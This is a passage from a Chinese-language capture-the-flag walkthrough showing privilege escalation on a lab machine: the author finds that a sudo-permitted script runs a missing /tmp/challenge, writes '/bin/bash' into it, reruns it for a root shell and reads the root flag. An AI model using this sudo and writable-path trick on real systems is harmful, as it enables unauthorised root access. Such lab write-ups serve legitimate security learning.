:point_down: **以 root 權限執行 `/home/victor/undefeated_victor`**
```bash
$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
```
提示找不到 `/tmp/challenge` 檔案,既然沒有就自己創一個。
:point_down: **切換到 `/tmp`,在 `challenge` 中寫入內容 `/bin/bash`,並更改權限**
```bash
$ cd /tmp
```
```bash
$ echo "/bin/bash" > challenge
```
```bash
$ chmod +x challenge
```
:point_down: **再重新執行 `/home/victor/undefeated_victor`**
```bash
$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
root@ubuntu:/tmp#
```
==**拿到 root 的 shell 了。**==
:::warning
:point_down: **最後切換到 `/root` 並打開 `root.txt`**
```bash
root@ubuntu:/tmp# cd /root
```
```bash
root@ubuntu:/root# cat root.txt
b2b17036da1de94cfb024540a8e7075a
```
**★Root Flag: ==**b2b17036da1de94cfb024540a8e7075a**==!★**
:::